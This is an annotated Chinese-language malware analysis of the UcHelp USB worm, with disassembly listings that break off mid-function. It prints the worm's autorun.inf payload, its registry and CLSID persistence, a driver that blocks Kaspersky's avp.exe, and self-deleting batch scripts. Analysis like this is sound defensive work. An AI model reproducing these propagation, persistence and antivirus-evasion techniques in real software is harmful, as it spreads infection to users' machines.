UcHelp 病毒分析 By Cater
【文章標題】: UcHelp 病毒分析 By CaTer
【文章作者】: Cater
【作者郵箱】: 24882688@qq.com
【作者QQ號】: 24882688
【下載地址】: 自己搜尋下載
【加殼方式】: FSG 2.0
【編寫語言】: C++ 6.0
【使用工具】: OD
【操作平臺】: XP-SP2
【作者宣告】: 只是感興趣，沒有其他目的。失誤之處敬請諸位大俠賜教!
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【詳細過程】
UcHelp 病毒分析
旁白：
都大二了，還是無所為，不知道以後工作怎麼辦哦~苦惱...
煩人事一大堆，最近學校機房病毒氾濫,主要就是 UcHelp 病毒
///////////////////////////////////////////////////////////
主要就是 移動儲存器裡面有
===========================
X:\RECYCLER\UcHelp.exe
X:\RECYCLER\desktop.ini
X:\autorun.inf
-----------------------
X:\autorun.inf
正常情況下不可見
X:\RECYCLER\
不能正常訪問
-----------------------
===========================
+++++++++++++++++++++++++++++++++++++++++++++
Explorer 中自動載入
system32\AceExt32.dll
windows\Downloaded Program Files\ZipExt32.dll
+++++++++++++++++++++++++++++++++++++++++++++
當然 ，病毒會感染所有移動儲存裝置，並載入到系統自動執行，繼續傳播感染其他及其和移動儲存裝置。
///////////////////////////////////////////////////////////
程式沒有修改登錄檔隱藏檔案？病毒清理不乾淨~
so 只好硬著頭皮來分析分析這個病毒啦~（還不知道往上面有沒有關於這個病毒的分析）
廢話這麼多，就看看我的分析吧~
Cater [*.S.T] QQ：24882688
2007.06.01 揚州/南京 寫
=================================================================================================
第一步 從主程式（UcHelp.exe）開始分析
00401800 /$ 55 PUSH EBP
00401801 |. 8BEC MOV EBP,ESP
00401803 |. 83E4 F8 AND ESP,FFFFFFF8
00401806 |. 81EC 94010000 SUB ESP,194
0040180C |. 33C0 XOR EAX,EAX
0040180E |. 894424 09 MOV DWORD PTR SS:[ESP+9],EAX
00401812 |. 53 PUSH EBX
00401813 |. 66:894424 11 MOV WORD PTR SS:[ESP+11],AX
00401818 |. 56 PUSH ESI
00401819 |. 57 PUSH EDI
0040181A |. 884424 20 MOV BYTE PTR SS:[ESP+20],AL
0040181E |. 884424 1B MOV BYTE PTR SS:[ESP+1B],AL
00401822 |. B9 1F000000 MOV ECX,1F
00401827 |. 8D7C24 21 LEA EDI,DWORD PTR SS:[ESP+21]
0040182B |. F3:AB REP STOS DWORD PTR ES:[EDI]
0040182D |. 68 80000000 PUSH 80 ; /BufSize = 80 (128.)
00401832 |. 8D4C24 24 LEA ECX,DWORD PTR SS:[ESP+24] ; |
00401836 |. 66:AB STOS WORD PTR ES:[EDI] ; |
00401838 |. 51 PUSH ECX ; |PathBuffer
00401839 |. 6A 00 PUSH 0 ; |hModule = NULL
0040183B |. C64424 20 00 MOV BYTE PTR SS:[ESP+20],0 ; |
00401840 |. AA STOS BYTE PTR ES:[EDI] ; |
00401841 |. FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF>; \GetModuleFileNameA
00401847 |. E8 E4F8FFFF CALL UcHelp.00401130 ; 檢查 程式 是否含有 avp.exe
0040184C |. 84C0 TEST AL,AL
0040184E |. 74 2E JE SHORT UcHelp.0040187E
00401850 |. 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; 有 avp.exe 就 來這裡拉
00401853 |. 6A 05 PUSH 5 ; /ShowState = SW_SHOW
00401855 |. 6A 00 PUSH 0 ; |/lParam = 0
00401857 |. 68 E0174000 PUSH UcHelp.004017E0 ; ||pDlgProc = UcHelp.004017E0
0040185C |. 6A 00 PUSH 0 ; ||hOwner = NULL
0040185E |. 6A 65 PUSH 65 ; ||pTemplate = 65
00401860 |. 52 PUSH EDX ; ||hInst
00401861 |. FF15 E4204000 CALL DWORD PTR DS:[<&USER32.CreateDialog>; |\CreateDialogParamA
00401867 |. 50 PUSH EAX ; |hWnd
00401868 |. FF15 E8204000 CALL DWORD PTR DS:[<&USER32.ShowWindow>] ; \ShowWindow
0040186E |. E8 2DF9FFFF CALL UcHelp.004011A0 ; 釋放資源 ret 到 C:\sysret.dat 並 執行
00401873 |. 68 58020000 PUSH 258 ; /Timeout = 600. ms
00401878 |. FF15 8C204000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>] ; \Sleep
0040187E |> \E8 ADFBFFFF CALL UcHelp.00401430 ; 釋放資源dll到 system32\AceExt32.dll 並載到explorer程式
00401883 |. 8B35 B4204000 MOV ESI,DWORD PTR DS:[<&MSVCRT.strs>; msvcrt.strstr
00401889 |. 8D4424 20 LEA EAX,DWORD PTR SS:[ESP+20]
0040188D |. 68 C0234000 PUSH UcHelp.004023C0 ; /UcHelp.exe
00401892 |. 50 PUSH EAX ; |s1
00401893 |. FFD6 CALL ESI ; \strstr
00401895 |. 83C4 08 ADD ESP,8 ; 檢查 當前程式的檔名 中是否含有 UcHelp.exe
00401898 |. 85C0 TEST EAX,EAX
0040189A |. 75 4B JNZ SHORT UcHelp.004018E7
0040189C |. 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] ; 沒有 UcHelp.exe 就執行以下
004018A0 |. 51 PUSH ECX ; /pHandle
004018A1 |. 68 3F000F00 PUSH 0F003F ; |Access = KEY_ALL_ACCESS
004018A6 |. 50 PUSH EAX ; |Reserved
004018A7 |. 68 78214000 PUSH UcHelp.00402178 ; |SOFTWARE\Microsoft\Windows\CurrentVersion
004018AC |. 68 02000080 PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
004018B1 |. FF15 08204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyExA
004018B7 |. 68 68214000 PUSH UcHelp.00402168 ; /yes
004018BC |. FF15 3C204000 CALL DWORD PTR DS:[<&KERNEL32.lstrl>; \lstrlenA
004018C2 |. 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10]
004018C6 |. 50 PUSH EAX ; /BufSize
004018C7 |. 68 68214000 PUSH UcHelp.00402168 ; |yes
004018CC |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
004018CE |. 6A 00 PUSH 0 ; |Reserved = 0
004018D0 |. 68 6C214000 PUSH UcHelp.0040216C ; |SM_GameDrop
004018D5 |. 52 PUSH EDX ; |hKey
004018D6 |. FF15 00204000 CALL DWORD PTR DS:[<&ADVAPI32.RegSe>; \RegSetValueExA
004018DC |. 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] ; 寫HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDrop=Yes
004018E0 |. 50 PUSH EAX ; /hKey
004018E1 |. FF15 18204000 CALL DWORD PTR DS:[<&ADVAPI32.RegCl>; \RegCloseKey
004018E7 |> 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
004018EB |. 68 C0234000 PUSH UcHelp.004023C0 ; UcHelp.exe
004018F0 |. 51 PUSH ECX
004018F1 |. FFD6 CALL ESI
004018F3 |. 83C4 08 ADD ESP,8
004018F6 |. 85C0 TEST EAX,EAX
004018F8 |. 0F84 70010000 JE UcHelp.00401A6E
004018FE |. 8B35 EC204000 MOV ESI,DWORD PTR DS:[<&USER32.wspr>; USER32.wsprintfA
00401904 |. 8B3D 70204000 MOV EDI,DWORD PTR DS:[<&KERNEL32.Ge>; kernel32.GetDriveTypeA
0040190A |. B3 43 MOV BL,43
0040190C |. 8D6424 00 LEA ESP,DWORD PTR SS:[ESP]
00401910 |> 0FBEC3 /MOVSX EAX,BL
00401913 |. 50 |PUSH EAX
00401914 |. 33D2 |XOR EDX,EDX
00401916 |. 8D4C24 18 |LEA ECX,DWORD PTR SS:[ESP+18]
0040191A |. 895424 18 |MOV DWORD PTR SS:[ESP+18],EDX
0040191E |. 68 BC234000 |PUSH UcHelp.004023BC ; %c:
00401923 |. 51 |PUSH ECX
00401924 |. 895424 24 |MOV DWORD PTR SS:[ESP+24],EDX
00401928 |. FFD6 |CALL ESI
0040192A |. 83C4 0C |ADD ESP,0C
0040192D |. 8D5424 14 |LEA EDX,DWORD PTR SS:[ESP+14]
00401931 |. 52 |PUSH EDX
00401932 |. FFD7 |CALL EDI
00401934 |. 83F8 02 |CMP EAX,2
00401937 |. 74 09 |JE SHORT UcHelp.00401942 ; 找到 移動裝置跳出
00401939 |. FEC3 |INC BL ; 列舉驅動器，從 c盤 列舉 到 z 盤
0040193B |. 80FB 5A |CMP BL,5A
0040193E |.^ 7E D0 \JLE SHORT UcHelp.00401910
00401940 |. EB 7B JMP SHORT UcHelp.004019BD
00401942 |> 6A 00 PUSH 0 ; /Title = NULL
00401944 |. 68 AC234000 PUSH UcHelp.004023AC ; |CabinetWClass
00401949 |. FF15 F4204000 CALL DWORD PTR DS:[<&USER32.FindWin>; \FindWindowA
0040194F |. 8B35 FC204000 MOV ESI,DWORD PTR DS:[<&USER32.Find>; USER32.FindWindowExA
00401955 |. 6A 00 PUSH 0 ; /Title = NULL
00401957 |. 68 A4234000 PUSH UcHelp.004023A4 ; |WorkerW
0040195C |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
0040195E |. 50 PUSH EAX ; |hParent
0040195F |. FFD6 CALL ESI ; \FindWindowExA
00401961 |. 6A 00 PUSH 0 ; /Title = NULL
00401963 |. 68 94234000 PUSH UcHelp.00402394 ; |ReBarWindow32
00401968 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
0040196A |. 50 PUSH EAX ; |hParent
0040196B |. FFD6 CALL ESI ; \FindWindowExA
0040196D |. 6A 00 PUSH 0 ; /Title = NULL
0040196F |. 68 84234000 PUSH UcHelp.00402384 ; |ComboBoxEx32
00401974 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00401976 |. 50 PUSH EAX ; |hParent
00401977 |. FFD6 CALL ESI ; \FindWindowExA
00401979 |. 6A 00 PUSH 0 ; /Title = NULL
0040197B |. 68 78234000 PUSH UcHelp.00402378 ; |ComboBox
00401980 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00401982 |. 50 PUSH EAX ; |hParent
00401983 |. FFD6 CALL ESI ; \FindWindowExA
00401985 |. 6A 00 PUSH 0 ; /Title = NULL
00401987 |. 68 70234000 PUSH UcHelp.00402370 ; |Edit
0040198C |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
0040198E |. 50 PUSH EAX ; |hParent
0040198F |. FFD6 CALL ESI ; \FindWindowExA
00401991 |. 8B3D F0204000 MOV EDI,DWORD PTR DS:[<&USER32.Send>; USER32.SendMessageA
00401997 |. 8BF0 MOV ESI,EAX
00401999 |. 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] ; 下面 是 啟用該移動裝置的資源管理器視窗
0040199D |. 50 PUSH EAX ; /lParam
0040199E |. 6A 00 PUSH 0 ; |wParam = 0
004019A0 |. 6A 0C PUSH 0C ; |Message = WM_SETTEXT
004019A2 |. 56 PUSH ESI ; |hWnd
004019A3 |. FFD7 CALL EDI ; \SendMessageA
004019A5 |. 6A 00 PUSH 0 ; /lParam = 0
004019A7 |. 6A 0D PUSH 0D ; |wParam = D
004019A9 |. 68 00010000 PUSH 100 ; |Message = WM_KEYDOWN
004019AE |. 56 PUSH ESI ; |hWnd
004019AF |. FFD7 CALL EDI ; \SendMessageA
004019B1 |. 6A 00 PUSH 0 ; /lParam = 0
004019B3 |. 6A 0D PUSH 0D ; |wParam = D
004019B5 |. 68 01010000 PUSH 101 ; |Message = WM_KEYUP
004019BA |. 56 PUSH ESI ; |hWnd
004019BB |. FFD7 CALL EDI ; \SendMessageA
004019BD |> C68424 A00000>MOV BYTE PTR SS:[ESP+A0],0 ; 以上程式碼大致 就是 準備向 移動裝置發飆了
004019C5 |. 33C0 XOR EAX,EAX
004019C7 |. B9 3F000000 MOV ECX,3F
004019CC |. 8DBC24 A10000>LEA EDI,DWORD PTR SS:[ESP+A1]
004019D3 |. F3:AB REP STOS DWORD PTR ES:[EDI]
004019D5 |. 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10]
004019D9 |. 51 PUSH ECX ; /pHandle
004019DA |. 66:AB STOS WORD PTR ES:[EDI] ; |
004019DC |. 68 30234000 PUSH UcHelp.00402330 ; |Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
004019E1 |. 68 01000080 PUSH 80000001 ; |hKey = HKEY_CURRENT_USER
004019E6 |. AA STOS BYTE PTR ES:[EDI] ; |
004019E7 |. FF15 10204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyA
004019ED |. 8B1D 14204000 MOV EBX,DWORD PTR DS:[<&ADVAPI32.Re>; ADVAPI32.RegEnumKeyA
004019F3 |. C74424 1C 0A0>MOV DWORD PTR SS:[ESP+1C],0A
004019FB |. EB 03 JMP SHORT UcHelp.00401A00
004019FD | 8D49 00 LEA ECX,DWORD PTR DS:[ECX]
00401A00 |> 8B4424 10 /MOV EAX,DWORD PTR SS:[ESP+10]
00401A04 |. 68 00010000 |PUSH 100
00401A09 |. 8D9424 A40000>|LEA EDX,DWORD PTR SS:[ESP+A4]
00401A10 |. 52 |PUSH EDX
00401A11 |. 33F6 |XOR ESI,ESI
00401A13 |. 56 |PUSH ESI
00401A14 |. 50 |PUSH EAX
00401A15 |. FFD3 |CALL EBX
00401A17 |. 85C0 |TEST EAX,EAX
00401A19 |. 75 42 |JNZ SHORT UcHelp.00401A5D
00401A1B |. EB 03 |JMP SHORT UcHelp.00401A20
00401A1D | 8D49 00 |LEA ECX,DWORD PTR DS:[ECX]
00401A20 |> 8B5424 10 |/MOV EDX,DWORD PTR SS:[ESP+10]
00401A24 |. 8D8C24 A00000>||LEA ECX,DWORD PTR SS:[ESP+A0]
00401A2B |. 51 ||PUSH ECX ; /SubKey
00401A2C |. 52 ||PUSH EDX ; |hKey
00401A2D |. FF15 DC204000 ||CALL DWORD PTR DS:[<&SHLWAPI.SHDe>; \SHDeleteKeyA
00401A33 |. 33C0 ||XOR EAX,EAX
00401A35 |. B9 40000000 ||MOV ECX,40
00401A3A |. 8DBC24 A00000>||LEA EDI,DWORD PTR SS:[ESP+A0]
00401A41 |. F3:AB ||REP STOS DWORD PTR ES:[EDI]
00401A43 |. 8B4C24 10 ||MOV ECX,DWORD PTR SS:[ESP+10]
00401A47 |. 68 00010000 ||PUSH 100
00401A4C |. 8D8424 A40000>||LEA EAX,DWORD PTR SS:[ESP+A4]
00401A53 |. 50 ||PUSH EAX
00401A54 |. 46 ||INC ESI
00401A55 |. 56 ||PUSH ESI
00401A56 |. 51 ||PUSH ECX
00401A57 |. FFD3 ||CALL EBX
00401A59 |. 85C0 ||TEST EAX,EAX
00401A5B |.^ 74 C3 |\JE SHORT UcHelp.00401A20
00401A5D |> FF4C24 1C |DEC DWORD PTR SS:[ESP+1C] ; 在 那個專案裡面依次刪除無關專案
00401A61 |.^ 75 9D \JNZ SHORT UcHelp.00401A00
00401A63 |. E8 B8F7FFFF CALL UcHelp.00401220 ; 檢查 SM_GameDrop 鍵值是否為 yes，不是就從釋放資源 exe 到 ulinshi32.exe 並執行
00401A68 |. 8B35 B4204000 MOV ESI,DWORD PTR DS:[<&MSVCRT.strs>; msvcrt.strstr
00401A6E |> E8 0DFCFFFF CALL UcHelp.00401680 ; 建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150} 將 AceExt32.dll 與之關聯以及建立專案情況
00401A73 |. E8 28F9FFFF CALL UcHelp.004013A0 ; 將本程式 複製至 C:\windows\Downloaded Program Files\CxUSBKey.exe
00401A78 |. 8D5424 20 LEA EDX,DWORD PTR SS:[ESP+20]
00401A7C |. 68 C0234000 PUSH UcHelp.004023C0 ; UcHelp.exe
00401A81 |. 52 PUSH EDX
00401A82 |. FFD6 CALL ESI
00401A84 |. 83C4 08 ADD ESP,8
00401A87 |. 85C0 TEST EAX,EAX
00401A89 |. 75 05 JNZ SHORT UcHelp.00401A90
00401A8B |. E8 70F5FFFF CALL UcHelp.00401000 ;在臨時資料夾 建立ziptmp.bat寫入，刪除本程式的批處理並且執行
00401A90 |> 5F POP EDI
00401A91 |. 5E POP ESI
00401A92 |. 33C0 XOR EAX,EAX
00401A94 |. 5B POP EBX
00401A95 |. 8BE5 MOV ESP,EBP
00401A97 |. 5D POP EBP
00401A98 \. C2 1000 RETN 10
=================================================================================================
第二步：分析 那個針對防毒軟體的 sysret.dat
病毒 主程式 UcHelp.exe 釋放資源 ret 的 C:\sysret.dat
00401600 55 PUSH EBP
00401601 8BEC MOV EBP,ESP
00401603 83E4 F8 AND ESP,FFFFFFF8
00401606 81EC 08020000 SUB ESP,208
0040160C 56 PUSH ESI
0040160D 57 PUSH EDI
0040160E E8 DDFEFFFF CALL UnPacK_D.004014F0 ; 釋放資源 SYSRET 到 C:\sysret.sys，並載入到系統核心，並重啟電腦
00401613 A1 74114000 MOV EAX,DWORD PTR DS:[401174]
00401618 66:8B0D 7811400>MOV CX,WORD PTR DS:[401178]
0040161F 894424 10 MOV DWORD PTR SS:[ESP+10],EAX
00401623 66:894C24 14 MOV WORD PTR SS:[ESP+14],CX
00401628 33C0 XOR EAX,EAX
0040162A B9 3E000000 MOV ECX,3E
0040162F 8D7C24 16 LEA EDI,DWORD PTR SS:[ESP+16]
00401633 F3:AB REP STOS DWORD PTR ES:[EDI]
00401635 68 00010000 PUSH 100
0040163A 8D9424 14010000 LEA EDX,DWORD PTR SS:[ESP+114]
00401641 52 PUSH EDX
00401642 6A 00 PUSH 0
00401644 66:AB STOS WORD PTR ES:[EDI]
00401646 66:C74424 14 22>MOV WORD PTR SS:[ESP+14],22
0040164D FF15 40104000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF>; kernel32.GetModuleFileNameA
00401653 8B35 3C104000 MOV ESI,DWORD PTR DS:[<&KERNEL32.lstrcat>; kernel32.lstrcatA
00401659 8D8424 10010000 LEA EAX,DWORD PTR SS:[ESP+110]
00401660 50 PUSH EAX
00401661 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14]
00401665 51 PUSH ECX
00401666 FFD6 CALL ESI
00401668 8D5424 08 LEA EDX,DWORD PTR SS:[ESP+8]
0040166C 52 PUSH EDX
0040166D 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14]
00401671 50 PUSH EAX
00401672 FFD6 CALL ESI
00401674 68 68114000 PUSH UnPacK_D.00401168 ; ASCII "
del %0"
00401679 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14]
0040167D 51 PUSH ECX
0040167E FFD6 CALL ESI
00401680 6A 00 PUSH 0
00401682 6A 00 PUSH 0
00401684 6A 02 PUSH 2
00401686 6A 00 PUSH 0
00401688 6A 00 PUSH 0
0040168A 68 00000040 PUSH 40000000
0040168F 68 5C114000 PUSH UnPacK_D.0040115C ; ASCII "tempds.bat"
00401694 FF15 24104000 CALL DWORD PTR DS:[<&KERNEL32.CreateFile>; kernel32.CreateFileA
0040169A 8BF0 MOV ESI,EAX
0040169C 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
004016A0 8D50 01 LEA EDX,DWORD PTR DS:[EAX+1]
004016A3 8A08 MOV CL,BYTE PTR DS:[EAX]
004016A5 40 INC EAX
004016A6 84C9 TEST CL,CL
004016A8 ^ 75 F9 JNZ SHORT UnPacK_D.004016A3
004016AA 2BC2 SUB EAX,EDX
004016AC 6A 00 PUSH 0
004016AE 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10]
004016B2 52 PUSH EDX
004016B3 50 PUSH EAX
004016B4 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C]
004016B8 50 PUSH EAX
004016B9 56 PUSH ESI
004016BA FF15 1C104000 CALL DWORD PTR DS:[<&KERNEL32.WriteFile>>; kernel32.WriteFile
004016C0 56 PUSH ESI
004016C1 FF15 18104000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; kernel32.CloseHandle
004016C7 6A 14 PUSH 14
004016C9 FF15 38104000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>] ; kernel32.Sleep
004016CF 6A 00 PUSH 0
004016D1 68 5C114000 PUSH UnPacK_D.0040115C ; ASCII "tempds.bat"
004016D6 FF15 34104000 CALL DWORD PTR DS:[<&KERNEL32.WinExec>] ; kernel32.WinExec
004016DC 5F POP EDI ; 在 本資料夾下面建立 tempds.bat
004016DD 5E POP ESI ; 寫入 刪除本程式的批處理
004016DE 8BE5 MOV ESP,EBP ; 執行 tempds.bat 咯
004016E0 5D POP EBP
004016E1 C2 1000 RETN 10
============================================
批註一下
004015D5 /74 0D JE SHORT UnPacK_D.004015E4
004015D7 |68 80144000 PUSH UnPacK_D.00401480
004015DC |E8 CFFEFFFF CALL UnPacK_D.004014B0 ;這裡就是重啟的模組
我想
sysret.sys
裡面寫著無非是，禁止 avp.exe 執行的相關 R0 程式碼。
//感謝惡靈騎士 MJ0011 的賜教，原來這裡的神秘之處。
=================================================================================================
第三步：分析 病毒核心程式碼 AceExt32.dll
懶得再去跟dll 了
大致就是，尋找移動儲存裝置
----------------------------------------------
建立資料夾
X:\RECYCLER\
----------------------------------------------
----------------------------------------------------------
寫入檔案
X:\RECYCLER\UcHelp.exe
X:\RECYCLER\desktop.ini
X:\autorun.inf
內容：
X:\autorun.inf
===========================================
[AutoRun]
Shell=開啟(&O)
shell\開啟(&O)\command=RECYCLER\UcHelp.exe
===========================================
X:\RECYCLER\desktop.ini
===========================================
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
===========================================
--------------------------------------------------------------
做的手腳：
1.
SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
這裡 把 AceExt32.dll 載入到 Explorer.exe 進行中
好像 ZipExt32.dll 也參與其中了
2.
寫入
{35CEC8A3-2BE6-11D2-8773-92E220524150}到 CLSD 關聯 AceExt32.dll
3.
這個dll 還具有隱藏，autorun.inf 並限制訪問功能
4.
再有的功能就類似 執行 UnHelp.exe 了~
大致 就是 這麼個東東了~
=================================================================================================
第四步：分析 ulinshi32.exe 暗部策劃嚮導
00401700 /$ 55 PUSH EBP
00401701 |. 8BEC MOV EBP,ESP
00401703 |. 83E4 F8 AND ESP,FFFFFFF8
00401706 |. 81EC 04020000 SUB ESP,204
0040170C |. 53 PUSH EBX
0040170D |. 56 PUSH ESI
0040170E |. 57 PUSH EDI
0040170F |. 33C0 XOR EAX,EAX
00401711 |. C64424 10 00 MOV BYTE PTR SS:[ESP+10],0
00401716 |. 8B35 94204000 MOV ESI,DWORD PTR DS:[<&kernel32.GetWin>; kernel32.GetWindowsDirectoryA
0040171C |. B9 3F000000 MOV ECX,3F
00401721 |. 8D7C24 11 LEA EDI,DWORD PTR SS:[ESP+11]
00401725 |. F3:AB REP STOS DWORD PTR ES:[EDI]
00401727 |. 66:AB STOS WORD PTR ES:[EDI]
00401729 |. AA STOS BYTE PTR ES:[EDI]
0040172A |. 33C0 XOR EAX,EAX
0040172C |. C68424 100100>MOV BYTE PTR SS:[ESP+110],0
00401734 |. B9 3F000000 MOV ECX,3F
00401739 |. 8DBC24 110100>LEA EDI,DWORD PTR SS:[ESP+111]
00401740 |. F3:AB REP STOS DWORD PTR ES:[EDI]
00401742 |. 66:AB STOS WORD PTR ES:[EDI]
00401744 |. AA STOS BYTE PTR ES:[EDI]
00401745 |. 68 00010000 PUSH 100 ; /BufSize = 100 (256.)
0040174A |. 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] ; |
0040174E |. 50 PUSH EAX ; |Buffer
0040174F |. FFD6 CALL ESI ; \GetWindowsDirectoryA
00401751 |. 8B3D 34204000 MOV EDI,DWORD PTR DS:[<&kernel32.lstrca>; kernel32.lstrcatA
00401757 |. 68 78214000 PUSH UnPack_D.00402178 ; /String2 = "\Downloaded Program Files\ZipExt32.dll"
0040175C |. 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14] ; |
00401760 |. 51 PUSH ECX ; |String1
00401761 |. FFD7 CALL EDI ; \lstrcat
00401763 |. 68 00010000 PUSH 100 ; /BufSize = 100 (256.)
00401768 |. 8D9424 140100>LEA EDX,DWORD PTR SS:[ESP+114] ; |
0040176F |. 52 PUSH EDX ; |Buffer
00401770 |. FFD6 CALL ESI ; \GetWindowsDirectoryA
00401772 |. 68 10234000 PUSH UnPack_D.00402310 ; /String2 = "\Downloaded Program Files\Ext32.dat"
00401777 |. 8D8424 140100>LEA EAX,DWORD PTR SS:[ESP+114] ; |
0040177E |. 50 PUSH EAX ; |String1
0040177F |. FFD7 CALL EDI ; \lstrcat
00401781 |. 8D8C24 100100>LEA ECX,DWORD PTR SS:[ESP+110]
00401788 |. 51 PUSH ECX ; /FileName
00401789 |. FF15 68204000 CALL DWORD PTR DS:[<&kernel32.DeleteFil>; \DeleteFileA
0040178F |. 8D9424 100100>LEA EDX,DWORD PTR SS:[ESP+110] ; 刪除 C:\windows\Downloaded Program Files\Ext32.dat
00401796 |. 52 PUSH EDX ; /NewName
00401797 |. 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] ; |C:\windows\Downloaded Program Files\ZipExt32.dll 改名 C:\windows\Downloaded Program Files\Ext32.dll
0040179B |. 50 PUSH EAX ; |ExistingName
0040179C |. FF15 70204000 CALL DWORD PTR DS:[<&kernel32.MoveFileA>; \MoveFileA
004017A2 |. E8 89FCFFFF CALL UnPack_D.00401430 ; 先。刪除以前生成的相關dll，再釋放資源 ceo 到C:\windows\Downloaded Program Files\ZipExt32.dll
004017A7 |. E8 84FEFFFF CALL UnPack_D.00401630 ; 釋放資源 hiv 到 c:\tmp.hiv,執行完他的任務，去死
004017AC |. 8B1D 18204000 MOV EBX,DWORD PTR DS:[<&advapi32.RegCre>; advapi32.RegCreateKeyA
004017B2 |. 8D4C24 0C LEA ECX,DWORD PTR SS:[ESP+C]
004017B6 |. 51 PUSH ECX ; /pHandle
004017B7 |. 68 E0224000 PUSH UnPack_D.004022E0 ; |Subkey = "CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}"
004017BC |. 68 00000080 PUSH 80000000 ; |hKey = HKEY_CLASSES_ROOT
004017C1 |. FFD3 CALL EBX ; \RegCreateKeyA
004017C3 |. 8B35 6C204000 MOV ESI,DWORD PTR DS:[<&kernel32.lstrle>; 建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}
004017C9 |. 68 D4224000 PUSH UnPack_D.004022D4 ; /String = "ZipExt32"
004017CE |. FFD6 CALL ESI ; \lstrlenA
004017D0 |. 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C]
004017D4 |. 8B3D 14204000 MOV EDI,DWORD PTR DS:[<&advapi32.RegSet>; advapi32.RegSetValueExA
004017DA |. 50 PUSH EAX ; /BufSize
004017DB |. 68 D4224000 PUSH UnPack_D.004022D4 ; |Buffer = UnPack_D.004022D4
004017E0 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
004017E2 |. 6A 00 PUSH 0 ; |Reserved = 0
004017E4 |. 68 D0224000 PUSH UnPack_D.004022D0 ; |ValueName = ""
004017E9 |. 52 PUSH EDX ; |hKey
004017EA |. FFD7 CALL EDI ; \RegSetValueExA
004017EC |. 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C]
004017F0 |. 50 PUSH EAX ; /hKey
004017F1 |. FF15 10204000 CALL DWORD PTR DS:[<&advapi32.RegCloseK>; \RegCloseKey
004017F7 |. 8D4C24 0C LEA ECX,DWORD PTR SS:[ESP+C]
004017FB |. 51 PUSH ECX ; /pHandle
004017FC |. 68 94224000 PUSH UnPack_D.00402294 ; |Subkey = "CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}\InprocServer32"
00401801 |. 68 00000080 PUSH 80000000 ; |hKey = HKEY_CLASSES_ROOT
00401806 |. FFD3 CALL EBX ; \RegCreateKeyA
00401808 |. 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] ; 以下是 建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}等與之關聯專案
0040180C |. 52 PUSH EDX ; /String
0040180D |. FFD6 CALL ESI ; \lstrlenA
0040180F |. 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
00401813 |. 50 PUSH EAX ; /BufSize
00401814 |. 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] ; |
00401818 |. 50 PUSH EAX ; |Buffer
00401819 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
0040181B |. 6A 00 PUSH 0 ; |Reserved = 0
0040181D |. 68 D0224000 PUSH UnPack_D.004022D0 ; |ValueName = ""
00401822 |. 51 PUSH ECX ; |hKey
00401823 |. FFD7 CALL EDI ; \RegSetValueExA
00401825 |. 68 8C224000 PUSH UnPack_D.0040228C ; /String = "Both"
0040182A |. FFD6 CALL ESI ; \lstrlenA
0040182C |. 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C]
00401830 |. 50 PUSH EAX ; /BufSize
00401831 |. 68 8C224000 PUSH UnPack_D.0040228C ; |Buffer = UnPack_D.0040228C
00401836 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
00401838 |. 6A 00 PUSH 0 ; |Reserved = 0
0040183A |. 68 7C224000 PUSH UnPack_D.0040227C ; |ValueName = "ThreadingModel"
0040183F |. 52 PUSH EDX ; |hKey
00401840 |. FFD7 CALL EDI ; \RegSetValueExA
00401842 |. 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C]
00401846 |. 50 PUSH EAX ; /hKey
00401847 |. FF15 10204000 CALL DWORD PTR DS:[<&advapi32.RegCloseK>; \RegCloseKey
0040184D |. E8 AEF7FFFF CALL UnPack_D.00401000 ; 檢測是否有 avp.exe
00401852 |. 84C0 TEST AL,AL
00401854 |. 74 2E JE SHORT UnPack_D.00401884
00401856 |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] ; 有的話，那就
00401859 |. 6A 05 PUSH 5 ; /ShowState = SW_SHOW
0040185B |. 6A 00 PUSH 0 ; |/lParam = 0
